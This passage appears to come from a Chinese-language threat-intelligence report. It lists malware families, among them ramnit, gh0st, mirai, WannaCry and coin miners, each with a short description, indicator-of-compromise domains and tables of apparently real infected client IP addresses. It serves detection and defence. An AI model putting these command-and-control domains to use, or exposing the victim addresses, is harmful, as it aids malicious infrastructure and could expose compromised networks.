IOCs\n\n```\nsilverlinehospital.in\n```\n\n##### Clients\n```\nCount Client TAGS\n1\t\t125.37.160.100\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.barhera\n\n一款木马后门，用于下载其他的恶意软件。\n\n##### IOCs\n\n```\np.raidmedia.com.cn\nupdate.bainv.net\nl.raidmedia.com.cn\n```\n\n##### Clients\n```\nCount Client TAGS\n3\t\t221.197.133.137\tNAT\n3\t\t61.181.5.31\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.zombieboy\n\nzombieboy是一款针对windows平台的加密货币挖矿蠕虫。\n\n##### IOCs\n\n```\ncuijiahuq.f3322.net\ndns.fq520000.org\n```\n\n##### Clients\n```\nCount Client TAGS\n13\t\t218.69.133.37\tNAT\n1\t\t125.35.213.157\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.rcshark\n\nrcshark是一款针对windows平台的后门病毒，其主要功能是窃取用户的敏感信息。\n\n##### IOCs\n\n```\nxiangban1988.3322.org\n```\n\n##### Clients\n```\nCount Client TAGS\n1\t\t60.27.188.109\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.Dorkbot\n\n属于蠕虫病毒，被感染的所有主机都会沦为黑客的肉鸡，不定期对外网主机进行DDoS攻击，同时其还具有极强的隐蔽性，运行之后会把恶意代码注入到合法进程，然后删除自身。\n\n##### IOCs\n\n```\na.amous1epadsafa42.com\na.ajjjqws1fkxx42.com\na.adoyou1understandme42.com\na.aiphon1egalaxyblack42.com\n```\n\n##### Clients\n```\nCount Client TAGS\n9\t\t60.30.214.50\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.ramnit\n\nramnit是一款针对windows平台的病毒，最初表现为一款感染U盘，FTP服务器文件的蠕虫，传播大量广告软件，随后发展成银行木马，用于窃取用户金融以及其它敏感信息。\n\n##### IOCs\n\n```\nstromoliks.com\njdskfjkfw3232234.com\nfkjdeljfeew32233.com\nrterybrstutnrsbberve.com\nfget-career.com\nfdwelklwe3093443.com\nsupnewdmn.com\n```\n\n##### Clients\n```\nCount Client TAGS\n256\t\t61.181.30.138\tNAT\n112\t\t60.28.141.50\tNAT\n79\t\t125.36.152.117\tNAT\n34\t\t61.181.108.2\tNAT\n32\t\t60.28.156.216\t\n30\t\t117.131.173.16\tNAT\n30\t\t221.197.12.90\tNAT\n27\t\t60.29.37.38\tNAT\n25\t\t117.15.99.67\tNAT\n25\t\t111.160.91.94\tNAT\n20\t\t111.30.30.18\tNAT\n19\t\t111.160.100.230\tNAT\n19\t\t111.165.24.101\tNAT\n16\t\t61.181.252.146\tNAT\n16\t\t111.164.20.30\tNAT\n15\t\t60.30.4.11\t\n14\t\t221.239.93.251\t\n13\t\t60.29.22.98\t NAT\n12\t\t60.25.11.13 \tNAT\n12\t\t218.69.90.46\tNAT\n11\t\t111.160.156.10\tNAT\n11\t\t111.160.132.158\tNAT\n10\t\t60.30.199.26\tNAT\n10\t\t60.29.89.34 \tNAT\n10\t\t218.68.224.88\tNAT\n9\t\t218.68.158.40\tNAT\n9\t\t60.30.164.26\tNAT\n8\t\t60.26.101.13\tNAT\n8\t\t218.68.233.132\tNAT\n8\t\t221.197.139.99\tNAT\n8\t\t221.197.122.193\tNAT\n7\t\t221.196.108.115\tNAT\n7\t\t61.181.143.34\tNAT\n7\t\t117.9.93.13 \tNAT\n7\t\t60.25.148.35\tNAT\n7\t\t180.213.5.10\tNAT\n7\t\t117.11.218.223\tNAT\n6\t\t60.27.31.62\t NAT\n6\t\t218.69.129.222\tNAT\n6\t\t111.162.212.244\tNAT\n6\t\t218.68.234.159\tNAT\n6\t\t218.68.234.64\tNAT\n6\t\t111.160.233.182\tNAT\n6\t\t125.38.176.178\tNAT\n6\t\t117.11.153.212\tNAT\n6\t\t221.196.180.62\tNAT\n6\t\t221.198.66.44\tNAT\n6\t\t60.26.225.158\tNAT\n5\t\t221.198.170.164\tNAT\n5\t\t111.163.158.181\tNAT\n5\t\t125.36.153.16\tNAT\n5\t\t117.10.62.226\tNAT\n5\t\t117.12.202.189\tNAT\n5\t\t218.69.226.106\tNAT\n5\t\t117.13.115.123\tNAT\n5\t\t61.181.74.42\tNAT\n5\t\t60.29.133.19\tNAT\n5\t\t218.69.55.166\tNAT\n5\t\t218.69.54.167\tNAT\n5\t\t211.94.243.185\tNAT\n5\t\t60.30.208.226\tNAT\n5\t\t117.9.18.2 \tNAT\n5\t\t106.47.29.70\tNAT\n5\t\t125.37.29.120\tNAT\n5\t\t111.162.149.78\tNAT\n5\t\t218.68.0.6\t NAT\n4\t\t111.161.158.131\tNAT\n4\t\t211.94.254.85\tNAT\n4\t\t218.69.6.74\t NAT\n4\t\t221.198.86.145\tNAT\n4\t\t111.160.120.54\tNAT\n4\t\t60.24.90.226\tNAT\n4\t\t60.29.93.221\tNAT\n4\t\t111.163.143.228\tNAT\n4\t\t111.163.123.7\tNAT\n4\t\t221.198.238.209\tNAT\n4\t\t60.24.184.70\tNAT\n4\t\t60.27.31.0 \tNAT\n4\t\t117.15.125.181\tNAT\n4\t\t61.181.140.42\tNAT\n4\t\t117.12.37.223\tNAT\n4\t\t218.67.234.60\tNAT\n4\t\t125.38.176.229\tNAT\n4\t\t125.37.29.23\tNAT\n4\t\t61.181.103.138\tNAT\n4\t\t117.11.10.12\tNAT\n4\t\t60.24.233.164\tNAT\n4\t\t60.28.104.130\tNAT\n4\t\t218.68.105.7\tNAT\n4\t\t111.166.237.230\tNAT\n4\t\t221.196.46.61\tNAT\n4\t\t117.14.119.35\tNAT\n4\t\t60.26.203.160\tNAT\n4\t\t117.9.237.225\tNAT\n4\t\t218.68.200.243\tNAT\n4\t\t218.68.229.81\tNAT\n4\t\t218.68.219.29\tNAT\n3\t\t221.198.67.88\tNAT\n3\t\t117.10.236.245\tNAT\n3\t\t117.15.192.231\tNAT\n3\t\t60.24.45.218\tNAT\n3\t\t117.12.146.72\tNAT\n3\t\t60.29.43.46\t NAT\n3\t\t117.9.191.22\tNAT\n3\t\t111.163.144.224\tNAT\n3\t\t125.37.182.99\tNAT\n3\t\t117.10.138.46\tNAT\n3\t\t211.94.243.121\tNAT\n3\t\t111.161.150.34\tNAT\n3\t\t61.181.219.120\tNAT\n3\t\t60.27.60.159\tNAT\n3\t\t111.162.163.231\tNAT\n3\t\t111.166.238.248\tNAT\n3\t\t117.12.1.165\tNAT\n3\t\t117.13.168.162\tNAT\n3\t\t202.99.106.47\tNAT\n3\t\t221.197.179.98\tNAT\n3\t\t211.94.226.74\tNAT\n3\t\t60.28.101.104\tNAT\n3\t\t111.165.188.122\tNAT\n3\t\t60.29.154.226\tNAT\n3\t\t60.29.15.2\t NAT\n3\t\t111.165.105.247\tNAT\n3\t\t60.26.239.60\tNAT\n3\t\t43.249.136.20\tNAT\n3\t\t61.181.202.5\t\n3\t\t60.26.142.193\tNAT\n3\t\t117.13.106.191\tNAT\n3\t\t60.29.63.18\t NAT\n3\t\t60.29.16.94\t NAT\n3\t\t218.69.52.252\tNAT\n3\t\t117.14.66.156\tNAT\n3\t\t221.196.97.11\tNAT\n3\t\t218.67.181.124\tNAT\n3\t\t111.160.80.3\tNAT\n3\t\t117.13.140.5\tNAT\n3\t\t111.165.11.60\tNAT\n3\t\t60.25.251.11\tNAT\n2\t\t111.160.97.18\tNAT\n2\t\t218.68.102.58\tNAT\n2\t\t125.37.217.118\tNAT\n2\t\t125.37.191.155\tNAT\n2\t\t221.196.97.36\tNAT\n2\t\t221.196.194.253\tNAT\n2\t\t218.68.224.39\tNAT\n2\t\t218.68.102.247\tNAT\n2\t\t111.160.198.83\tNAT\n2\t\t60.27.189.44\tNAT\n2\t\t117.12.133.191\tNAT\n2\t\t60.30.156.190\tNAT\n2\t\t211.94.248.28\tNAT\n2\t\t221.198.60.201\tNAT\n2\t\t60.26.132.173\tNAT\n2\t\t117.15.22.130\tNAT\n2\t\t218.69.55.247\tNAT\n2\t\t117.9.70.23 \tNAT\n2\t\t111.162.216.127\tNAT\n2\t\t61.181.63.138\tNAT\n2\t\t60.24.127.98\tNAT\n2\t\t125.36.101.224\tNAT\n2\t\t117.12.125.160\tNAT\n2\t\t111.165.56.53\tNAT\n2\t\t111.165.128.30\tNAT\n2\t\t125.37.212.67\tNAT\n2\t\t218.68.107.108\tNAT\n2\t\t111.167.149.238\tNAT\n2\t\t221.197.154.147\tNAT\n2\t\t117.13.244.21\tNAT\n2\t\t125.35.249.1\tNAT\n2\t\t218.69.11.58\tNAT\n2\t\t117.10.28.225\tNAT\n2\t\t221.197.133.137\tNAT\n2\t\t111.167.46.70\tNAT\n2\t\t60.29.179.114\tNAT\n2\t\t221.196.180.242\tNAT\n2\t\t60.30.105.33\tNAT\n2\t\t60.27.138.17\tNAT\n1\t\t218.67.254.17\tNAT\n1\t\t117.11.225.137\tNAT\n1\t\t111.163.143.193\tNAT\n1\t\t60.24.89.15\t NAT\n1\t\t218.69.55.60\tNAT\n1\t\t60.30.215.242\tNAT\n1\t\t111.163.140.152\tNAT\n1\t\t111.160.108.34\tNAT\n1\t\t221.198.218.112\tNAT\n1\t\t125.38.177.138\tNAT\n1\t\t60.29.95.82\t NAT\n1\t\t221.196.194.2\tNAT\n1\t\t221.197.162.54\tNAT\n1\t\t117.15.191.57\tNAT\n1\t\t60.27.42.62\tNAT\n1\t\t117.9.229.148\tNAT\n1\t\t218.69.234.252\tNAT\n1\t\t60.27.79.17\t NAT\n1\t\t117.8.101.63\tNAT\n1\t\t60.30.105.41\tNAT\n1\t\t125.37.125.3\tNAT\n1\t\t221.198.118.158\tNAT\n1\t\t60.28.101.103\tNAT\n1\t\t60.28.101.106\tNAT\n1\t\t60.27.205.187\tNAT\n1\t\t211.94.242.118\tNAT\n1\t\t117.12.144.7\tNAT\n1\t\t117.8.100.70\tNAT\n1\t\t60.29.30.190\tNAT\n1\t\t60.26.180.205\tNAT\n1\t\t111.162.221.168\tNAT\n1\t\t221.198.110.209\tNAT\n1\t\t117.14.70.156\tNAT\n1\t\t60.29.116.18\tNAT\n1\t\t111.165.72.25\tNAT\n1\t\t218.69.147.133\tNAT\n1\t\t60.29.153.61\tNAT\n1\t\t221.196.119.133\tNAT\n1\t\t111.163.22.227\tNAT\n1\t\t60.30.204.82\tNAT\n1\t\t111.167.144.199\tNAT\n1\t\t60.30.240.226\tNAT\n1\t\t111.166.156.237\tNAT\n1\t\t60.28.38.18\t NAT\n1\t\t125.37.182.185\tNAT\n1\t\t218.68.235.133\tNAT\n1\t\t125.38.191.184\tNAT\n1\t\t111.160.97.42\tNAT\n1\t\t111.163.78.80\tNAT\n1\t\t111.161.189.215\tNAT\n1\t\t117.11.239.56\tNAT\n1\t\t218.69.243.164\tNAT\n1\t\t60.29.179.42\tNAT\n1\t\t117.12.158.82\tNAT\n1\t\t60.25.63.52\t NAT\n1\t\t60.25.10.147\tNAT\n1\t\t60.27.79.149\tNAT\n1\t\t111.162.163.241\tNAT\n1\t\t221.239.72.170\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.gh0st\n\nGH0ST是一款经典的RAT，针对Windows系统，支持截屏、录像、录音等多种spy功能。GH0ST由中国人编写，已经开放源码，因而存在较多的变种。\n\n##### IOCs\n\n```\nwww.sousouweb.com\nime.mys2005.xyz\nlinux145.f3322.net\n3s.dkys.org\nyk.520yxsf.com\nbaijinddos.xyz\nxiangban1988.3322.org\nfwq2020.f3322.net\nzerococoll.f3322.net\nsky.hobuff.info\nwww.wulei168.pw\n```\n\n##### Clients\n```\nCount Client TAGS\n509\t\t111.160.156.10\tNAT\n203\t\t111.163.143.228\tNAT\n103\t\t125.39.138.171\t\n94\t\t60.28.34.59\t\n54\t\t60.29.124.250\tNAT\n34\t\t60.30.199.26\tNAT\n20\t\t60.28.99.74 \tNAT\n18\t\t61.181.81.82\tNAT\n12\t\t218.69.11.58\tNAT\n4\t\t103.233.4.30\tNAT\n3\t\t111.165.217.222\tNAT\n3\t\t221.239.104.13\t\n3\t\t60.28.101.14\tNAT\n2\t\t125.39.151.188\t\n1\t\t60.27.188.109\tNAT\n1\t\t60.28.101.104\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.posioncake\n\n一款内置于手机ROM的恶意代码模块，注入Phone进程，拦截短信和发送短信，自动扣费，窃取信息等等。\n\n##### IOCs\n\n```\nhcbh.heycould.com\nhacdl.junwonsil.com\n```\n\n##### Clients\n```\nCount Client TAGS\n6\t\t60.27.42.111\tNAT\n2\t\t125.37.189.42\tNAT\n2\t\t60.27.43.103\tNAT\n1\t\t111.162.129.93\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.nitol\n\n又名dsl，是国内著名的面向Window平台的DDoS类型的 botnet家族，支持icmp/udp/tcp/http等多种攻击手段，具有较多的变种。\n\n##### IOCs\n\n```\ndllhost.website\nmssql.noip.cn\nmdzz2018.msns.cn\nyk.520yxsf.com\nakmfs.com\n40kam.cn\nsky.hobuff.info\na.aklianfa.com\nindonesias.website\n3s.dkys.org\nak-74.top\n```\n\n##### Clients\n```\nCount Client TAGS\n709\t\t60.30.199.26\tNAT\n509\t\t111.160.156.10\tNAT\n84\t\t60.28.140.93\tNAT\n54\t\t60.29.124.250\tNAT\n11\t\t111.163.143.228\tNAT\n8\t\t60.28.114.2\t NAT\n7\t\t60.29.133.19\tNAT\n4\t\t125.37.162.202\tNAT\n4\t\t111.160.110.26\tNAT\n4\t\t218.69.27.222\tNAT\n3\t\t111.165.217.222\tNAT\n3\t\t60.28.101.14\tNAT\n2\t\t125.39.151.188\t\n2\t\t60.29.64.86\t NAT\n1\t\t60.27.119.49\t\n1\t\t60.28.114.30\tNAT\n1\t\t60.28.101.104\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.mirai\n\n通过大规模弱口令扫描来实现传播的蠕虫病毒，将Linux平台的Iot设备控制，用于DDoS攻击。\n\n##### IOCs\n\n```\nscan.santaiot.net\nseven.nadns.info\nnetflux.r00ts.online\ncnc.stresser.pw\n```\n\n##### Clients\n```\nCount Client TAGS\n585\t\t60.29.215.141\tNAT\n527\t\t111.160.57.142\tNAT\n290\t\t61.181.115.50\tNAT\n2\t\t111.167.211.108\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.humpler\n\n该病毒伪装成多款小工具（如：老板键、屏幕亮度调节等），正通过2345软件大全等多个知名下载站进行传播。病毒入侵电脑后，会劫持QQ、360、搜狗等（市面上所有主流）浏览器首页。\n\n##### IOCs\n\n```\nwww.baidu-home.com\n```\n\n##### Clients\n```\nCount Client TAGS\n1\t\t60.27.136.24\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.wannycry\n\n一种“蠕虫式”的勒索病毒软件，利用NSA（National Security Agency，美国国家安全局）泄露的危险漏洞“EternalBlue”（永恒之蓝）进行传播，感染计算机后会向计算机中植入敲诈者病毒，导致电脑大量文件被加密。\n\n##### IOCs\n\n```\niuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com\nwww.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com\n```\n\n##### Clients\n```\nCount Client TAGS\n215\t\t60.30.147.86\t\n3\t\t125.35.211.131\tNAT\n1\t\t61.181.70.210\tNAT\n1\t\t60.29.64.22\t NAT\n```\n\n\n</br>\n\n\n\n#### Malware.DUNIHi\n\nDUNIHI (VBS_DUNIHI.ELDSAVJ)是一个有后门和蠕虫功能的很著名的VB脚本，在某些单独的事件中，该脚本在垃圾邮件活动中与Adwind一起释放。\n\n##### IOCs\n\n```\npm2bitcoin.com\n```\n\n##### Clients\n```\nCount Client TAGS\n107\t\t60.29.15.54\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.flyboy\n\n一款常见的DDoS木马。\n\n##### IOCs\n\n```\n3s.dkys.org\n```\n\n##### Clients\n```\nCount Client TAGS\n1\t\t60.28.101.104\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.zusy\n\n隐藏在PowerShell中，当用户打开，代码将被执行并连接到CC，接下来就会下载文件并执行，最终部署恶意程序downloader。\n\n##### IOCs\n\n```\nbuy1.amzjhhl.ru\nbuy1.gsnrrtf.net\nbuy1.csfnlpg.com\nbuy1.cdpgphm.ru\nbuy1.dhccyjw.net\nbuy1.tnnxkzu.ru\nbuy1.emafzud.net\nbuy1.rcdibnh.net\nbuy1.uxesjmg.ru\nbuy1.swexydc.ru\nbuy1.jgbfjlp.net\nbuy1.zwnbddh.com\nbuy1.xrcugmy.net\nbuy1.bgnlbfi.ru\nbuy1.nonyans.net\nbuy1.xfwwcmk.net\nbuy1.iqcpfzo.ru\nbuy1.anzxoii.net\nbuy1.ntlucrd.com\nbuy1.tiksrzr.com\nbuy1.otkmgkl.ru\nbuy1.icwastp.ru\nbuy1.rmpokmg.ru\nbuy1.gyhhgrc.ru\nbuy1.aenqzfk.net\nbuy1.hbjxtas.com\nbuy1.tpibfhe.ru\nbuy1.nuawren.com\nbuy1.nzuibjx.net\nbuy1.swemrgx.ru\nbuy1.qzojbhw.net\nbuy1.qwlhrkg.net\nbuy1.cbbfywr.ru\nbuy1.iryjeqo.com\nbuy1.eftctph.com\nbuy1.rdggegr.ru\nbuy1.fmrolhu.ru\nbuy1.rksgxwu.com\nbuy1.ddplnfp.net\nbuy1.yhbayam.net\nbuy1.uqccxlp.com\nbuy1.mnplqfs.net\nbuy1.dhzozeh.com\nbuy1.tlwrshg.net\nbuy1.aldloqz.ru\nbuy1.lrtapbs.ru\nbuy1.blwszto.ru\nbuy1.ejuzlle.net\nbuy1.gxhrnou.net\nbuy1.iwjsndf.com\nbuy1.pkhruee.net\nbuy1.zrsglol.com\nbuy1.kfysswc.com\nbuy1.jlaxfgb.ru\nbuy1.lyksyom.ru\nbuy1.mbtndqh.ru\nbuy1.pmhncfh.com\nbuy1.pfccfpb.ru\nbuy1.ihtmojm.ru\nbuy1.jzwhkrf.ru\nbuy1.mbiaean.ru\nbuy1.oddcucl.net\nbuy1.wzxtbjj.com\nbuy1.fpkrylz.com\nbuy1.jrwgrbg.ru\nbuy1.qnmbbdf.com\nbuy1.ddxkizq.net\nbuy1.yyalymk.net\nbuy1.acthwqo.com\nbuy1.snpntqd.com\nbuy1.azcduku.net\nbuy1.ncfnqjq.ru\nbuy1.ipqwqms.com\nbuy1.ofcllwd.net\nbuy1.xbxkmpp.com\nbuy1.alxluqi.ru\nbuy1.dyimlqp.net\nbuy1.fiocywx.com\nbuy1.abqlnrj.net\nbuy1.rrsywps.net\nbuy1.dyqzunc.ru\nbuy1.arhaqps.net\nbuy1.zpoxqcm.com\nbuy1.loakwst.net\nbuy1.nmwfrco.net\nbuy1.bhwfnll.net\nbuy1.osqmhxk.com\nbuy1.tzsduod.ru\nbuy1.lzssazr.net\nbuy1.icuieia.com\nbuy1.subbsty.net\nbuy1.fyalcld.net\nbuy1.odadidc.net\nbuy1.oabnnmt.net\nbuy1.aypoxyp.ru\nbuy1.nzliqic.net\nbuy1.xcypwuk.com\nbuy1.kfxzzsn.com\nbuy1.iywiqzr.com\nbuy1.rkacqse.ru\nbuy1.ymqfcbd.net\nbuy1.pypylia.com\nbuy1.gcyzgmf.com\nbuy1.xkxkdrn.com\nbuy1.cuoohzc.net\nbuy1.umjumsm.ru\nbuy1.pyyynza.com\nbuy1.udcjmjp.com\nbuy1.jpczuxg.com\nbuy1.bhnlbnh.net\nbuy1.gkhdxpf.net\nbuy1.hcgrnpn.ru\nbuy1.mslethd.ru\nbuy1.rfigznh.com\nbuy1.fkixudk.com\nbuy1.dqjkgce.net\nbuy1.rpxiwkc.com\nbuy1.niobmdi.com\nbuy1.dgwxumj.net\nbuy1.xalccbx.net\nbuy1.rzlqryz.net\nbuy1.dmbszul.com\nbuy1.uxxbwrr.ru\nbuy1.lgllgjs.net\nbuy1.tklwfah.ru\nbuy1.bbjzotm.ru\nbuy1.muxizct.ru\nbuy1.iexcrzz.net\nbuy1.gqoshyz.com\nbuy1.kyjbpwo.com\nbuy1.qxicnnb.com\nbuy1.yhpgwbd.net\nbuy1.txhkpgx.ru\nbuy1.iyfekft.ru\nbuy1.rfjllrs.net\nbuy1.xfqhajt.ru\nbuy1.zdfytrg.net\nbuy1.dfllbal.com\nbuy1.ctxjyex.com\nbuy1.yeyagrf.net\nbuy1.ulijgtz.com\nbuy1.rpskkwa.ru\nbuy1.yltzlez.ru\nbuy1.uwzghwb.net\nbuy1.jsitazi.ru\nbuy1.fehllnd.ru\nbuy1.ewkuzls.com\nbuy1.gciwhdc.net\nbuy1.khjizyn.com\nbuy1.ajjchrq.com\nbuy1.hizfyzc.ru\nbuy1.acejruk.com\nbuy1.jcerqdu.com\nbuy1.litporj.net\nbuy1.xygtuqr.net\nbuy1.zhzecai.ru\nbuy1.lrqfxhc.net\nbuy1.plbjxaw.net\nbuy1.xisphiu.ru\nbuy1.nmdmzxk.com\nbuy1.whowczd.net\nbuy1.gfygooj.net\nbuy1.bkfhpoo.net\nbuy1.xfojdma.com\nbuy1.zzcsctw.com\nbuy1.shkjsxn.com\nbuy1.sczeedr.com\nbuy1.jlqawun.net\nbuy1.zbrxzcd.net\nbuy1.eawlrfo.net\nbuy1.lkwwnuy.com\nbuy1.eojrzia.com\nbuy1.mkehkqw.ru\nbuy1.bunndlc.net\nbuy1.caejtfs.com\nbuy1.qdlycsz.ru\nbuy1.aamdljg.net\nbuy1.uarszmk.net\nbuy1.eghszki.ru\nbuy1.kyzweka.ru\nbuy1.ucykaub.net\nbuy1.unxoyqg.net\nbuy1.ujgrmdw.net\nbuy1.oftxynb.com\nbuy1.byimnch.com\nbuy1.agipcrc.com\nbuy1.eqsjnjm.com\nbuy1.wqrtqpc.com\nbuy1.wosqlhp.com\nbuy1.txrytdk.ru\nbuy1.ncmxoby.net\nbuy1.fkztbqc.ru\nbuy1.yyeytoh.ru\nbuy1.xxegozl.net\nbuy1.umlddds.com\nbuy1.ihsfmzs.ru\nbuy1.bzloyhl.com\nbuy1.fpucsex.net\nbuy1.dhenkce.ru\nbuy1.wqpquur.com\nbuy1.jeuggdx.net\nbuy1.bqsmdwo.net\nbuy1.mswcoje.ru\nbuy1.snabueo.com\nbuy1.zsczqfy.ru\nbuy1.fwtoowy.ru\nbuy1.ofinzks.net\nbuy1.ctemxrb.com\nbuy1.bwfakki.com\nbuy1.losoipz.net\nbuy1.wyxhwju.net\nbuy1.zkznpjx.net\nbuy1.wtiksxd.com\nbuy1.swhjoah.com\nbuy1.nasuofo.net\nbuy1.yuwtdkb.net\nbuy1.gtdiebz.net\nbuy1.whihyrr.net\nbuy1.jslmhdt.ru\nbuy1.jsbutdx.net\nbuy1.ztkwpnt.net\nbuy1.nrtqgnk.ru\nbuy1.kmmeycg.net\nbuy1.jhlzgnx.com\nbuy1.holmewx.com\nbuy1.kqktsmm.net\nbuy1.sbbcsds.ru\nbuy1.ldqfpjt.ru\nbuy1.nnhaioe.ru\nbuy1.ibhyldi.com\nbuy1.konsxcs.net\nbuy1.cbhsshp.com\nbuy1.gopdypa.net\nbuy1.trozbgi.com\nbuy1.kaohkbo.ru\nbuy1.zjfyxty.com\nbuy1.llhwqrb.ru\nbuy1.dmyldke.ru\nbuy1.efyncmf.net\nbuy1.emjrsao.com\nbuy1.xwyntku.com\nbuy1.hltlxfs.net\nbuy1.thbjtrm.net\nbuy1.qwgsncg.com\nbuy1.fbbefbz.com\nbuy1.twgpprb.net\nbuy1.nhexpdk.ru\nbuy1.gehbfee.ru\nbuy1.mgqwpyq.net\nbuy1.gykmlbd.com\nbuy1.xtxflqf.net\nbuy1.nweqxdp.com\nbuy1.alggopl.com\nbuy1.hpczbok.com\nbuy1.rgqkjoz.net\nbuy1.hyldyiu.com\nbuy1.mnbqzcx.com\nbuy1.ppolbqq.com\nbuy1.zhytqnk.com\nbuy1.lntgdkt.net\nbuy1.egrsdno.ru\nbuy1.sningaz.net\nbuy1.wbtjqns.com\nbuy1.twqqspy.ru\nbuy1.uaegzfg.net\nbuy1.lybnmaq.net\nbuy1.tqebcid.com\nbuy1.gyqxhuk.com\nbuy1.lgppbam.net\nbuy1.oyzkzhk.ru\nbuy1.tbsnaoq.ru\nbuy1.jfmnyjj.net\nbuy1.lrzgxti.ru\nbuy1.byosnwr.ru\nbuy1.deutskr.net\nbuy1.rhaaxsx.net\nbuy1.ptprctl.ru\nbuy1.jaisoap.net\nbuy1.ifjzgwm.com\nbuy1.rynffwj.net\nbuy1.gbcdmyk.com\nbuy1.uzinsse.ru\nbuy1.ioicphz.com\nbuy1.ukciate.ru\nbuy1.lezsbdq.com\nbuy1.dertjgm.net\n```\n\n##### Clients\n```\nCount Client TAGS\n298\t\t111.160.240.107\tNAT\n```\n\n\n</br>\n\n\n\n#### Malware.woring\n\nworing是一款针对Linux平台的 DDoS类型的botnet，因为函数命名存在一个typo: working->woring 故得名。woring主要感染x86 CPU架构的系统，支持常见的DDoS攻击手段。\n\n##### IOCs\n\n```\nak-74.top\n```\n\n##### Clients\n```\nCount Client TAGS\n1\t\t60.27.119.49\t\n```\n\n\n</br>\n\n\n\n#### Malware.miner\n\n各种挖矿软件家族，包括LSDminer、MSRAminer等等。\n\n##### IOCs\n\n```\nmine.ppxxmr.com\np.awcna.com\np.zer2.com\npool.minexmr.com\ntgoodluck.info\nfr.ppxxmr.org\nx.csrss.website\npool.usa-138.com\nlpp.zer2.com\nrapid7cpfqnwxodo.tor2web.fyi\ntestnet-seed.bitcoin.jonasschnelli.ch\nxmr.crypto-pool.fr\ntask.estonine.com\nurlxxx.at.ua\npluck.moisture.tk\nxmr.f2pool.com\ndonate.v2.googel-dns.com\nxmr-eu2.nanopool.org\nlog.miniast.com\nlsd.systemten.org\nseed.tbtc.petertodd.org\nloop.haqo.net\na.csrss.website\nreader.pamphler.com\nt.awcna.com\nluoxkexp.com\npoole.laofubtc.com\nindonesias.me\ntar.kziu0tpofwf.club\np1.qsd2xjpzfky.site\np3.qsd2xjpzfky.site\nsystemten.org\nxmr-eu1.nanopool.org\nlpp.awcna.com\nswt.njaavfxcgk3.club\nnull.exhauest.com\nwww.zeculiar.tk\ndns.posthash.org\nguojun.website\np.amxny.com\nloop.sawmilliner.com\nz.drawal.tk\nmorphed.ru\nxmr.pool.minergate.com\nrapid7cpfqnwxodo.onion.in.net\ndnsseed.bluematt.me\ns.csrss.website\nrer.njaavfxcgk3.club\npool.supportxmr.com\neurope.cryptonight-hub.miningpoolhub.com\nemergency.kiss58.org\nemergency.googel-dns.com\nseed.testnet.bitcoin.sprovoost.nl\nfox.weilders.com\nacs.njaavfxcgk3.club\nmonerohash.com\nw.3ei.xyz\njump.taucepan.com\nfee.googel-dns.com\nccc.njaavfxcgk3.club\nxmr.usa-138.com\nseed.bitcoinstats.com\n```\n\n##### Clients\n```\nCount Client TAGS\n900\t\t60.30.199.26\tNAT\n892\t\t221.239.96.146\tNAT\n891\t\t111.160.156.10\tNAT\n803\t\t111.164.175.157\tNAT\n574\t\t111.160.82.66\tNAT\n521\t\t111.160.204.62\t\n494\t\t60.30.197.110\tNAT\n467\t\t60.28.104.130\tNAT\n415\t\t60.28.252.2 \tNAT;IDC\n352\t\t221.196.92.246\tNAT\n269\t\t60.29.103.44\tNAT\n241\t\t60.29.17.222\tNAT\n239\t\t218.68.45.209\tNAT\n164\t\t117.9.18.201\tNAT\n142\t\t218.68.105.24\tNAT\n130\t\t202.99.114.74\tNAT\n130\t\t111.160.167.194\tNAT\n110\t\t60.28.47.90\t NAT\n78\t\t60.28.253.182\tNAT\n69\t\t218.69.133.62\tNAT\n68\t\t61.181.131.66\tNAT\n43\t\t61.240.24.130\tNAT\n37\t\t60.24.90.72\t NAT\n36\t\t111.160.119.178\tNAT\n35\t\t60.30.240.226\tNAT\n35\t\t60.30.134.99\tNAT\n34\t\t221.197.42.171\t\n28\t\t125.35.210.209\tNAT\n27\t\t60.28.102.2\t NAT\n26\t\t221.197.55.168\tNAT\n26\t\t61.181.207.7\tNAT\n25\t\t125.35.210.222\tNAT\n24\t\t125.35.210.204\tNAT\n24\t\t125.35.210.229\tNAT\n19\t\t125.39.71.19\t\n19\t\t61.181.76.146\tNAT\n18\t\t60.25.251.11\tNAT\n18\t\t111.33.30.44\tNAT\n17\t\t117.14.201.183\tNAT\n17\t\t60.30.69.36\t NAT\n16\t\t221.197.139.246\tNAT\n16\t\t60.28.101.104\tNAT\n16\t\t60.28.108.201\tNAT\n15\t\t218.69.96.14\tNAT\n15\t\t60.30.193.162\tNAT\n15\t\t222.36.63.83\t\n15\t\t60.30.208.226\tNAT\n15\t\t111.160.40.106\tNAT\n14\t\t61.136.11.38\tNAT\n14\t\t60.28.156.216\t\n14\t\t60.28.101.74\tNAT\n14\t\t60.29.158.82\tNAT\n14\t\t111.160.122.98\tNAT\n14\t\t218.69.11.174\tNAT\n13\t\t60.28.101.105\tNAT\n13\t\t117.9.164.4\t NAT\n12\t\t117.15.169.6\t\n12\t\t61.181.70.210\tNAT\n11\t\t180.213.5.10\tNAT\n10\t\t111.164.49.39\tNAT\n10\t\t218.68.5.141\tNAT\n10\t\t60.29.15.54\t NAT\n10\t\t218.68.0.210\tNAT\n10\t\t111.164.183.26\tNAT\n10\t\t60.30.186.26\tNAT\n10\t\t125.39.151.188\t\n9\t\t221.239.124.90\tNAT\n9\t\t117.131.173.16\tNAT\n8\t\t123.150.44.5\tNAT\n8\t\t111.160.97.18\tNAT\n8\t\t221.238.238.234\tNAT\n8\t\t117.9.8.157\t 